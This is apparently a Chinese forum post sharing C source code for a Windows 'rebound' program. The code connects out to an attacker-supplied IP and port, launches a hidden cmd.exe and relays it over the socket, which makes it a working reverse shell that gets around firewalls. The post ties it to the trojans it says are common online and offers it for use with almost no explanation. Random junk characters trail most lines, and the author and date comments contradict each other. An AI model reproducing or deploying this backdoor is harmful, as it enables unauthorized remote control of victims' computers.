这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ot\ FZ
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/* ============================== m=Mb'<
Rebound port in Windows NT 0s9-`nHen|
By wind,2006/7 y7CC5S?
===============================*/ 5k:SD7^b
#include CD^C}MB
#include YcQ$nZAU
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#pragma comment(lib,"wsock32.lib") ga?:k,xv
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void OutputShell(); 9NF2a)&~
SOCKET sClient; _{j'` #
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z2n
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void main(int argc,char **argv) /q|r!+
{ ` wI$
WSADATA stWsaData; jej.!f:H
int nRet; MzEeDN
SOCKADDR_IN stSaiClient,stSaiServer; YnR8mVo5Q
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if(argc != 3) %G0J]QY{(x
{ ;R5@]Hg6q
printf("Useage:\n\rRebound DestIP DestPort\n"); ~7p!t%;$
return; G)|Xj70
} *y+N-uq
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WSAStartup(MAKEWORD(2,2),&stWsaData); I+oe{#:.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vHJOpQmt~
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stSaiClient.sin_family = AF_INET; * 'eE[/K
stSaiClient.sin_port = htons(0); &}'FC7}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); is~"yE7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zA%YaekJ
{ }b5omHUE%
printf("Bind Socket Failed!\n"); y^!>'cdV
return; YD3jP}Ym
} yj$$k~@
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stSaiServer.sin_family = AF_INET; 2LfiaHO
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n;@.eC,T/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oACbZ#/@n
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sLKk1A
{ ,`Keqfx
printf("Connect Error!"); e{EC#%x_
return; kzE<Y
} V`
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OutputShell(); LC1WVK/
} zqHG2:MN"
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void OutputShell() ^4b;rLfk@
{ -9]
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char szBuff[1024]; zq6)jHfq.
SECURITY_ATTRIBUTES stSecurityAttributes; 9^L{)t>
OSVERSIONINFO stOsversionInfo; lRk_<A
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mEm=SpO[$o
STARTUPINFO stStartupInfo; t[e]AU[}
char *szShell; $u~*V
PROCESS_INFORMATION stProcessInformation; XF&_**0n
unsigned long lBytesRead; `@q\R-`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); kYhV1I
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F?z:[1(:
stSecurityAttributes.lpSecurityDescriptor = 0; vfd<qdi3p(
stSecurityAttributes.bInheritHandle = TRUE; /0sw rt.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $`A{-0=x\U
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l4gF.-.GYF
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !/a![Ne
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vbD""
stStartupInfo.wShowWindow = SW_HIDE; "S]G+/I|iw
stStartupInfo.hStdInput = hReadPipe; gSa !zQN6
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {/FdrS
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GetVersionEx(&stOsversionInfo); /Rf,Rjs
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switch(stOsversionInfo.dwPlatformId) XU`ly3!
{ &^UT
case 1: PNo9.-@G
szShell = "command.com"; ^e]O-,UBk
break; 0HO'%'Ga*
default: EI9;J-c
szShell = "cmd.exe"; x8xz33
break; <NEz{ 1Z
} 85f:!p
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d5>EvK U
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send(sClient,szMsg,77,0); }S$OE))u
while(1) YV8PybThc
{ #bJp)&LO
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .=)[S5.BVq
if(lBytesRead) abAw#XQ8
{ RWRqu }a
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sf0\#Q
send(sClient,szBuff,lBytesRead,0); W
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} .Y|wG<E
else n0LNAhM
{ h<Ct[46,S
lBytesRead=recv(sClient,szBuff,1024,0); ? 'qyI^m@
if(lBytesRead<=0) break; v, CWE
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xk
} 3RX9LJGX
} TCFr-*x
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return; \11+~
}